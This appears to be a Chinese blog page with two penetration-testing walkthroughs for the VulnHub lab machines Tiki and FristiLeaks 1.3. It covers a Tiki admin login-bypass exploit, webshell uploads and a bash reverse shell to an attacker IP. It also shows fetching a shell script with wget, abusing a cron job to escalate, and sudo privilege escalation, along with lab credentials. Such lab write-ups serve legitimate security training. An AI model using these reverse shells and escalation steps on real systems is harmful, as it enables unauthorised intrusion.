【OSCP】Tiki提权靶机渗透下载链接:https://www.vulnhub.com/entry/tiki_1,525/做题一定要先看题目,提示我们有一个CVE漏洞哦,不,我们的网络服务器被入侵了。攻击者使用的是Oday,所以我们不知道他是如何进入管理面板的。调查。 这是一个OSCP准备盒,是基于我最近发现的一个CVE。它在OSCP实验室机器级别。 如果你需要提示联系我在Twitter上:S1lky_1337,应该在VirtualBox和Vmware上工作。arp-scan -l 主机发现和端口扫描访问80端口直接上信息收集插件Wappalyzer内容管理系统漏洞检索,但是不清楚版本信息查看源代码直接搜索相关的版本关键字(没有什么东西)再找找和官网url相关的信息(有些cms应用在跳转链接的时候呢会加上版本信息)目录扫描出来一个文件,泄露了版本信息dirsearch -u http://10.10.10.196/tiki那么直接返回来看漏洞信息,选择那个21版本的searchsploit -m 48927告诉我们管理员密码被删除,使用BurpSuite可以直接登录成功,那么它的登录框在哪呢Admin Password got removed. Use BurpSuite to login into admin without a password从目录扫描的结果中可以看到,但是没有权限后面又看了看主页。。。尝试登录的时候我们要把pass删除再发送请求,这样就能直接登录成功(漏洞脚本提示),也可以直接用BurpSuite,原理都是一样的这儿有一个文件上传上传一句话木马这个能看到页面源码尝试连接,失败查看所有修改过的页面有一对账号密码silky:Agy8Y7SPJNXQzqAssh登录成功有了密码直接sudo,发现所有文件都能sudo,那么sudo -i至此提权成功!往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,664 阅读
0 评论
0 点赞
2025-05-18
FristiLeaks1.3-提权靶机渗透
清者自清链接:https://www.vulnhub.com/entry/fristileaks-13,133/作者:Ar0xA难度:中等主机发现,以及快速的80探测全端口syn扫描nmap -sS 192.168.111.153 -T4 -p- -A爬虫协议这个界面似曾相识啊,就是上面那些url,一个路径下面有一个图片,这不就是Tr0ll系列的内容嘛?那个FTP匿名登录的。这张图告诉我们说,This is not the url,不是这个url,貌似是想要我们找URL信息分析源码,从这个图片标签中,就能分析出网站根目录中都对应着一个图片查看这个图片的上级目录,没有利用信息首页源码wappalyzer信息那么只剩下首页那几个大字了找到上面那张图的最后一个单词,fristi打靶机的时候,一定要第一时间查看源码!这里有一个base64编码信息这里可以看到是一个png的文件头,说明是一个png文件将他重定向为一个png文件密码信息KeKkeKKeKKeKkEkkEk,但是没有用户啊继续查看源码,eezeepz此时得到了账号密码登录成功让我们选择一个图片文件随意上传,Only allowed are: png,jpg,gif,限制了png,jpg,gif格式抓包改格式,还是上传失败的看这里,有一个apache中间件利用这个apache中间件的解析漏洞,他不是一个编号漏洞,而是配置不当,具体描述如下访问成功连接即可反弹shell/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'从当前网站根目录开始信息收集,既然涉及到了登录,那么大概率用到了数据库,检查一下checklogin.php账号密码:eezeepz / 4ll3maal12#目前也就只有这一条信息eezeepz 用户存在,使用数据库的密码尝试登录,失败了其他信息收集bash-4.1$ uname -a Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux bash-4.1$ lsb_release lsb_release bash: lsb_release: command not found bash-4.1$ cat /etc/os-release cat /etc/os-release cat: /etc/os-release: No such file or directory bash-4.1$ find / -perm -4000 -print 2>/dev/null find / -perm -4000 -print 2>/dev/null /bin/mount /bin/fusermount /bin/umount /bin/su /bin/ping /bin/ping6 /sbin/pam_timestamp_check /sbin/unix_chkpwd /usr/bin/crontab /usr/bin/chsh /usr/bin/sudo /usr/bin/chfn /usr/bin/newgrp /usr/bin/chage /usr/bin/gpasswd /usr/bin/passwd /usr/libexec/openssh/ssh-keysign /usr/libexec/pt_chown /usr/sbin/suexec /usr/sbin/usernetctl直到回家的路上,看到一个jerry写的txt文件,似乎是让我们清理掉eezeepz的homehey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry很多的命令,但是有也包含了一个txt文件查看内容意思大致就是说,需要将 /usr/bin/* 目录下的文件夹中复制到我home下面,来自/home/admin/下面这段话,应该是说让我们建立一个计划任务,每分钟以我的用户(admin)进行运行根据上面的提示,让我们放入一个runthis文件,而这个文件,类似/etc/crontab(计划任务)文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin的shell开启一个微型的http服务python -m http.serverTips :wget的时候,不添加http等关键字也可以wget 192.168.111.128:8000/py_shell_release.py方法一:echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis这个时候也能直接查看admin目录下面的文件信息了,越权成功方法二:echo '/usr/bin/python /tmp/py_shell_release.py' > runthis此时就可以直接断开连接了,然后nc监听就行(耐心等待一会儿),反弹成功,获取到admin用户的权限创建交互式终端,查看这两个txt文件python -c 'import pty; pty.spawn("/bin/bash")'不清楚上面是什么加密的话,可以查看当前目录下面的一个py文件,包含了这个加密的信息,通过这些代码,就可以写出解码的代码解码的代码参考import base64,codecs,sys def decodeString(str): base64string= codecs.decode(str,'rot13') return base64.b64decode(base64string[::-1]) cryptoResult=decodeString(sys.argv[1]) print cryptoResult第一个结果:LetThereBeFristi!第二个结果:thisisalsopw123切换一个用户看看,成功一个去到当前用户的根目录,~,有一个suid文件sudo -l 也是这个文件,有了suid还能sudo不知道文件怎么用?history,继续信息收集发现能够以root身份执行命令 sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash那么使用 /bin/bash 试试,提权成功。如果/bin/bash不成功,还可以试试反弹shell往期推荐【oscp】WEBDEVELOPER,tcpdump提权【oscp】tar、zip命令提权—zico2【oscp】稀有靶机-Readme【oscp】Hackme【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【oscp】Node
2025年05月18日
962 阅读
0 评论
0 点赞
1
...
11
12
13
...
19